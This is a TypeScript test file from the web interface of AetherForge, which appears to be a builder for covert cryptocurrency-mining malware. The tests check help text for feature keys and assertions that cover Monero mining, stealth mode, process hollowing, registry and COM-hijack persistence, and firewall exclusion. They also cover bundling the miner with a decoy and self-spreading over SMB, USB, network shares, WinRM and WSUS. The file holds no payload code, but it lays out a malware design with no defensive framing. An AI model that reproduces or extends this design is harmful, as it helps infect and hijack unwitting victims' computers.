Files
AetherForge/server/web/src/help/settingHelp.test.ts
AetherForge f27cec887a
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Fix validation failures from loose-end sweep
2026-06-07 01:29:54 -07:00

165 lines
4.5 KiB
TypeScript

import { describe, expect, it } from 'vitest';
import { FIELD_HELP, SETUP_CHEATSHEET } from './settingHelp';
describe('SETUP_CHEATSHEET', () => {
it('defines four setup steps in order', () => {
expect(SETUP_CHEATSHEET).toHaveLength(4);
expect(SETUP_CHEATSHEET.map((s) => s.title)).toEqual([
'1. Calibrate once',
'2. Forge (Simple mode)',
'3. Deploy',
'4. Watch the fleet',
]);
});
it('each step has non-empty title and body', () => {
for (const step of SETUP_CHEATSHEET) {
expect(step.title.trim().length).toBeGreaterThan(0);
expect(step.body.trim().length).toBeGreaterThan(20);
}
});
it('mentions key workflow concepts in bodies', () => {
const bodies = SETUP_CHEATSHEET.map((s) => s.body).join(' ');
expect(bodies).toContain('Calibrate');
expect(bodies).toContain('Forge');
expect(bodies).toContain('Command Deck');
expect(bodies).toContain('Crucible');
});
});
describe('FIELD_HELP', () => {
const expectedKeys = [
'calibrate_wallet',
'calibrate_quick_setup',
'forge_simple_mode',
'forge_lotl_onion',
'lotl_onion_tiers',
'forge_recommended_defaults',
'obfuscate',
'sigil_scramble',
'sign_build',
'obfuscate_default',
'sign_enabled',
'sign_cert_thumbprint',
'sign_tool_path',
'sign_timestamp_url',
'worker_name',
'server_url',
'output_dir',
'wallet',
'pool_host',
'pool_port',
'pool_tls',
'pool_pass',
'threads',
'thread_mode',
'thread_percent',
'max_cpu_usage_pct',
'max_memory_percent',
'min_free_ram_mb',
'cpu_priority',
'mining_mode',
'miner_execution',
'idle_threshold_pct',
'idle_duration_minutes',
'schedule_start',
'schedule_end',
'display_mode',
'process_name',
'persistence',
'autostart_mode',
'registry_persistence',
'registry_run_hkcu',
'registry_run_once',
'registry_run_hklm',
'registry_explorer_run',
'run_as',
'host_binary_target',
'silent_mode',
'auto_start',
'fusion_enabled',
'fusion_run_order',
'fusion_prep',
'fusion_media_mode',
'fusion_output_name',
'fusion_batch',
'install_base',
'install_custom_base',
'install_relative_path',
'public_url',
'cloudflare_tunnel_token',
'https_beacon_fallback',
'https_beacon_after_min',
'webhook_url',
'websocket_ping_seconds',
'log_pool_traffic',
'adapt_to_hardware',
'adaptive_strategy',
'self_healing',
'firewall_exclusion',
'firewall_remote',
'open_firewall_on_start',
'file_logging',
'stealth_mode',
'ai_enabled',
'ai_ollama_endpoint',
'ai_model',
'process_hollowing',
'mesh_p2p',
'auto_spread',
'usb_spread',
'share_spread',
'winrm_spread',
'dns_txt_spread',
'webrtc_mesh_spread',
'wsus_cache_peer_spread',
'com_hijack_persist',
'linux_lotl_mode',
'hole_punch',
'remote_aggressive',
'target_os',
'target_arch',
'spread_kit',
'forge_deliverable',
'forge_operation_mode',
'forge_path_forge',
] as const;
it('defines help text for every documented field key', () => {
expect(Object.keys(FIELD_HELP).sort()).toEqual([...expectedKeys].sort());
});
it('each help entry is a non-empty string', () => {
for (const key of expectedKeys) {
const text = FIELD_HELP[key];
expect(typeof text).toBe('string');
expect(text.trim().length).toBeGreaterThan(10);
}
});
it('wallet and server_url entries warn against localhost', () => {
expect(FIELD_HELP.wallet).toMatch(/Monero|wallet/i);
expect(FIELD_HELP.wallet).toMatch(/90.*106/);
expect(FIELD_HELP.calibrate_wallet).toMatch(/90.*106/);
expect(FIELD_HELP.calibrate_wallet).not.toMatch(/95 char/);
expect(FIELD_HELP.server_url).toMatch(/Not localhost|not localhost/i);
expect(FIELD_HELP.public_url).toMatch(/not localhost/i);
});
it('fusion entries describe decoy bundling', () => {
expect(FIELD_HELP.fusion_enabled).toContain('Fuse the miner');
expect(FIELD_HELP.fusion_prep).toContain('decoy');
expect(FIELD_HELP.fusion_run_order).toContain('Parallel');
});
it('advanced spread entries describe lateral/USB/share behavior', () => {
expect(FIELD_HELP.auto_spread).toContain('SMB');
expect(FIELD_HELP.usb_spread).toContain('USB');
expect(FIELD_HELP.share_spread).toContain('share');
expect(FIELD_HELP.winrm_spread).toContain('WinRM');
expect(FIELD_HELP.com_hijack_persist).toContain('CLSID');
expect(FIELD_HELP.linux_lotl_mode).toContain('systemd-run');
});
});